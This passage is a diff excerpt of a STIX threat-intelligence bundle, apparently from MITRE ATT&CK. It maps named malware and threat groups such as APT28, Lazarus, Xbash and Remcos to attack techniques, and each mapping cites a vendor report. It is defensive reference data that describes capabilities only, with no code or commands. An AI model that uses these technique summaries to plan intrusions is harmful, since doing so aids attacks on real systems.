"2019-09-09T17:44:36.171Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "The C2 server used by [XTunnel](https://attack.mitre.org/software/S0117) provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e97b39d6-7be1-4f59-8959-7f1f01402152", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "modified": "2019-04-19T18:36:31.997Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[route](https://attack.mitre.org/software/S0103) can be used to discover routing configuration information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c954a1f5-c925-4c5c-ad64-62545dfbe383", + "source_ref": "tool--c11ac61d-50f4-444f-85d8-6f006067f0de", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa sends data to one of the hard-coded C2 servers chosen at random, and if the transmission fails, chooses a new C2 server to attempt the transmission again.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.069Z", + "id": "relationship--ab687dca-2741-4920-a71e-e0e0444809c5", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.424Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to enumerate files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--007cc21a-685a-4701-99c1-20f258cedc7c", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "source_name": "FireEye APT17", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "can collect system information, including computer name, system manufacturer, IsDebuggerPresent state, and execution path.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--67ffaecc-e47d-47a1-93fd-82d21018ad8b", + "source_ref": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can delete files written to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c935fb02-a2a4-448e-adc0-2b220fc8d521", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.612Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + }, + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) has downloaded a remote module for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.682Z", + "id": "relationship--65384e27-6d16-4d25-a17b-3d74dde8f224", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.361Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) obfuscates strings with base64 encoding.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:23:06.390Z", + "id": "relationship--3c92a16b-9f72-4f79-a656-e79c6c04e48f", + "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "modified": "2019-01-31T00:23:06.390Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[APT32](https://attack.mitre.org/groups/G0050) used WMI to deploy their tools on remote machines and to gather information about the Outlook process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.589Z", + "id": "relationship--18e8e653-d924-4fed-a33f-7893cf8a683b", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.280Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used HTTP POST requests to transmit data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T02:01:45.514Z", + "id": "relationship--d26abf6d-069b-4b7b-b408-cf9065ebef92", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "modified": "2019-04-18T20:19:49.279Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) stores collected data in log files before exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:33:34.623Z", + "id": "relationship--330e86f3-f4ff-4fe0-af64-cd3c86849239", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "modified": "2019-04-23T21:17:49.887Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "source_name": "Unit 42 BadPatch Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) gathers the hostname and OS version from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.704Z", + "id": "relationship--002c9202-d7a0-4181-b912-42f7d6d38339", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.904Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "source_name": "Talos Micropsia June 2017", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can use scripts to invoke PowerShell to download a malicious PE executable or PE DLL for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:28:47.788Z", + "id": "relationship--8a8068fb-7cf9-4ab6-92a7-e8b3ecdf578d", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.413Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) has a module to harvest pressed keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.932Z", + "id": "relationship--ce4bf5bc-4935-429b-843e-3232fb810e90", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:21.986Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) obfuscated shellcode used during execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:26:43.110Z", + "id": "relationship--2e165a8a-928e-488e-ad16-afb77a94b460", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "modified": "2019-04-16T14:51:35.307Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect the username from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:15.009Z", + "id": "relationship--1d82c2f3-0bca-49a0-b731-296a436eb003", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.375Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to collect the processor type, operation system, computer name, uptime, and whether the system is a laptop or PC.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:38:21.258Z", + "id": "relationship--6a008820-b742-4ec0-ad56-7494ca911da7", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "modified": "2019-01-30T15:38:21.258Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1 Appendix", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can uninstall itself, including deleting its executable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.127Z", + "id": "relationship--a2e37152-fda1-4d4f-8d9b-3ad85f1f764e", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.720Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:46:41.620Z", + "id": "relationship--022c1740-5adb-473e-a8b3-5b1646c959d8", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.507Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has dropped an mspaint.lnk shortcut to disk which launches a shell script that downloads and executes a file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:43:28.179Z", + "id": "relationship--c4995d4f-2b7e-439f-afb1-a4c9218c7a08", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.144Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used compromised VPN accounts to gain access to victim systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.196Z", + "id": "relationship--820506c1-f8a0-4300-9653-2f245eff2cd1", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.886Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used a UEFI (Unified Extensible Firmware Interface) rootkit known as [LoJax](https://attack.mitre.org/software/S0397).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:53:05.399Z", + "id": "relationship--a5022441-bc5e-4b19-a773-b96b2719d1bb", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-18T15:14:13.437Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "source_name": "Symantec APT28 Oct 2018", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + }, + { + "source_name": "ESET LoJax Sept 2018", + "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) used a JavaScript backdoor that is capable of collecting a list of the security solutions installed on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:27:46.132Z", + "id": "relationship--30ff291e-e546-4084-8b5b-22fd5a597449", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:34.038Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "source_name": "Morphisec Cobalt Gang Oct 2018", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Denis](https://attack.mitre.org/software/S0354) collects the username from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T20:01:45.535Z", + "id": "relationship--b47d8f5e-7c09-4f40-a5a8-ccce10a8363b", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.677Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018.", + "source_name": "Securelist Denis April 2017", + "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[KONNI](https://attack.mitre.org/software/S0356) has used HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:41.187Z", + "id": "relationship--37b3a79f-6f48-4c5c-9ec7-b063ad375083", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:19.088Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Tasklist](https://attack.mitre.org/software/S0057) can be used to enumerate security software currently running on a system by process name of known products.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--80ca0faf-6958-4158-a36d-b3e7936c5f5a", + "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.", + "source_name": "Microsoft Tasklist", + "url": "https://technet.microsoft.com/en-us/library/bb491010.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) hooks processes by leveraging its own IAT hooked functions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.424Z", + "id": "relationship--01e4bf9a-3d9c-4381-aa9c-cca73376c771", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.157Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is encrypted using single-byte XOR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:23:46.141Z", + "id": "relationship--b09cad27-7b44-4a57-adf8-dcbcb3cdcb0a", + "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "modified": "2019-01-29T18:23:46.141Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "source_name": "Unit 42 Nokki Oct 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[Remcos](https://attack.mitre.org/software/S0332) has a command for UAC bypassing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.798Z", + "id": "relationship--945dface-ae29-4baa-ad2d-45c27029936a", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:53.042Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "source_name": "Fortinet Remcos Feb 2017", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can list active processes running on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.637Z", + "id": "relationship--7c60bccc-f485-403d-ab3b-db861a3a4429", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.615Z", + 